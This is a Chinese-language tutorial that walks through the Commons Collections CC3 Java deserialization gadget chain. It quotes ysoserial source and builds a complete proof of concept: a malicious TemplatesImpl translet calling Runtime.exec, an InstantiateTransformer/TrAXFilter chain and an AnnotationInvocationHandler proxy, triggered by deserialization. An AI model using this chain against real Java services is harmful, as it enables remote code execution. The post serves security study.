這是CC鏈分析的第二篇文章,我想按著common-collections的版本順序來介紹,所以順序為 cc1、3、5、6、7(common-collections 3.1),cc2、4(common-collections4)。

開啟YsoSerial payloads CommonsCollections3原始碼:

public Object getObject(final String command) throws Exception {
Object templatesImpl = Gadgets.createTemplatesImpl(command); // inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } )}; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain return handler;
}

和CC1 程式碼對比:

只有 transformer生成邏輯不一樣, 使用到了三個新的關鍵類InstantiateTransformer、TrAXFilter、TemplatesImpl。 所以我們重點看下著三個新類是幹嘛的。

InstantiateTransformer

檢視原始碼:

從transfomer可知,先通過反射 getConstructor 獲取傳入物件的構造器,然後通過 newInstance 方法例項化物件,這麼看InstantiateTransformer 近似與new。

寫個使用例子,存在一個PersonBean.java ,裡面的建構函式會列印我被初始化了。

public class PersonBean {

    public PersonBean(){
System.out.println("我被初始化了");
} public String getName() {
return name;
} public void setName(String name) {
this.name = name;
} public int getAge() {
return age;
} public void setAge(int age) {
this.age = age;
} private String name;
private int age;
}

用InstantiateTransformer 的方式生成instantiateTransformer 物件,寫一個測試類方法

import org.apache.commons.collections.functors.InstantiateTransformer;

public class MainTrueTest {

    public static void main(String[] args) {
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{}, new Object[]{});
instantiateTransformer.transform(PersonBean.class);
}
}

結果,構造方法被執行:

TemplatesImpl

這是一個JDK用於在處理xml檔案用到的類,在Java 8u251後不能使用, 具體這個類的說明,以及高版本不能使用的原因可以看P神的這一篇文章。https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html

在之前用作命令執行的類是InvokerTransfomer,但在Common-collections爆出漏洞的時候很多黑名單都直接將InvokerTransfomer這個類拉黑了,所以需要尋找其他能夠直接執行命令的類,於是安全人員就找到了這個類,TemplatesImpl的應用非常廣泛,cc鏈2和3、fastjson不出網利用、jdk7u21等等,如果把Java反序列化漏洞比做一個考試的話,TemplatesImpl就肯定是個必考點。

前置知識——ClassLoader

先來了解一個前置知識,JVM在載入類的時候會用到ClassLoader,預設分為三種載入器:BootstrapClassLoader、 ExtClassLoader、 AppClassLoader 分別載入 Java 核心類庫、擴充套件類庫以及應用的類路徑( CLASSPATH)下的類庫,JVM通過雙親委派的機制進行類的載入,防止系統類被輕易篡改,我們也可以繼承java.lang.classloader 實現自己的類載入器。

其中ClassLoader提供了幾個重要的方法:

  • loadClass(String classname) 委派呼叫父級loadClass,沒找到就呼叫findClass()
  • findClass() ,搜尋類的位置,根據名稱載入class位元組碼檔案,呼叫defineClass()
  • defineClass(), 將位元組碼轉為class物件

呼叫順序 loadClass -> findClass() -> defineClass(),出了classLoader可以載入類外還可以用Class.forName,但存在區別,看程式碼:

[[Ljava.util.ArrayList; 同樣是一個類陣列,Class.forName() 可以載入,loadClass不能,這也正是這兩點區別之一,也正是這個區別決定了Shiro不能直接用CC鏈去打。

TemplatesImpl利用

前面介紹了ClassLoader的三種載入類的方法,在TemplatesImpl程式碼299行也存在一個defineClass(),這個不亞於php中的eval,

line:299對一個私有變數_bytecodes進行了載入,其中loader為一個自定義的TransletClassLoader裡面只重寫了defineClass。

  static final class TransletClassLoader extends ClassLoader {
TransletClassLoader(ClassLoader parent) {
super(parent);
} /**
* Access to final protected superclass member from outer class.
*/
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}

_bytecodes 可以通過反射的方式進行賦值,看一下 299所在方法為defineTransletClasses(), 共有三個地方呼叫該方法:

其中getTransletInstance() 在呼叫 後,還進行了.newInstance()例項化操作。

這樣類不但能被載入還能被例項化,滿足_name

不為null,但getTransletInstance() 是一個私有方法,繼續追蹤有誰在呼叫這個方法:

public方法 newTransformer 有呼叫getTransletInstance(),那要把惡意類轉化為byte陣列賦值給_bytecodes 並呼叫newTransformer方法即可完成命令執行。

整理下命令執行的條件:

  • 有地方呼叫newTransformer()
  • _name 不為null
  • 惡意類的父類為org.apache.xalan.xsltc.runtime.AbstractTranslet

用自己的程式碼做下實驗。

  1. 準備一個惡意類,繼承AbstractTranslet
package expUtils;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; /*
* 供TemplatesImpl 使用的poc程式碼
* */
public class TemplatesEvilClass extends AbstractTranslet {
private static final String cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";
static {
// 攻擊程式碼
System.out.println("static : pwn!");
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
} public TemplatesEvilClass(){
// 攻擊程式碼
System.out.println("constructor: pwn!");
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
  1. 基於惡意類生成惡意TemplatesImpl物件
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import expUtils.ReflectUtils; import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException; import static expUtils.ReflectUtils.getClassByte; public class Test3 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException {
TemplatesImpl templates = new TemplatesImpl();
ReflectUtils.setFields(templates,"_name","9eek");
byte[] evilCode = getClassByte("sec-common/target/classes/expUtils/TemplatesEvilClass.class"); // 將檔案位元組碼轉為byte[]
byte[][] templatesEvilCode = new byte[][]{evilCode};
ReflectUtils.setFields(templates,"_bytecodes",templatesEvilCode); templates.newTransformer(); // 驗證程式碼執行
}
}

惡意程式碼成功執行:

這裡其實有一個疑問,在cc3和其他使用TemplatesImpl利用的地方都會將_tfactory 賦值,目前我還不清楚為啥要這麼做。

TrAXFilter

這個類是對XMLFilter的實現,而XMLFilter又是繼承與XMLReader,那大概知道,可能是拿來做xml讀取使用的,我們找到這個類的建構函式:

在建構函式中需要傳入一個TransformerImpl物件,然後在 在建構函式中會對TransformerImpl執行newTransformer()方法,這就和前面介紹的InstantiateTransformer和TemplatesImpl 結合了起來,我們只需要將CC1鏈中的InvokerTransformer換成InstantiateTransformer,將TrAXFilter賦給InstantiateTransformer.transformer的輸入即可。

實現

我們自己實現一下:

第一步,生成惡意TemplatesImpl物件:

//        第一步 生成惡意TemplatesImpl 物件
TemplatesImpl templates = new TemplatesImpl();
ReflectUtils.setFields(templates,"_name","9eek");
byte[] evilCode = getClassByte("sec-common/target/classes/expUtils/TemplatesEvilClass.class"); // 將檔案位元組碼轉為byte[]
byte[][] templatesEvilCode = new byte[][]{evilCode};
ReflectUtils.setFields(templates,"_bytecodes",templatesEvilCode);

第二步 生成惡意chainTransformer

//        第二步 生成惡意chainTransformer
Transformer[] transformers= new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(null);

第三步 繫結到動態代理增強到AnnotationInvocationHandler上

		// 第三步
HashMap<string,string> hashMap = new HashMap<>();
hashMap.put("testKey","testVal");
Map evilMap = LazyMap.decorate(hashMap,chainedTransformer); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler evilHandler = (InvocationHandler) constructor.newInstance(Target.class, evilMap); // 傳入lazyMap Map evilLazyMap = (Map) Proxy.newProxyInstance(Test2.class.getClassLoader(),evilMap.getClass().getInterfaces(),evilHandler);
InvocationHandler finalEvilHandler = (InvocationHandler) constructor.newInstance(Target.class, evilLazyMap); // 傳入代理lazyMap

第四步 反序列化觸發

        String path = ExpUtils.serialize(finalEvilHandler);
ExpUtils.unserialize(path);

執行結果:

成功觸發。

總結

CC3其實和CC1觸發過程的後半段基本一致,區別在於前面生產transfomer陣列使用的是TrAXFilter和TelmplatesImpl,可以在InvokerTransformer被拉黑的情況下,使用CC3。

</string,string>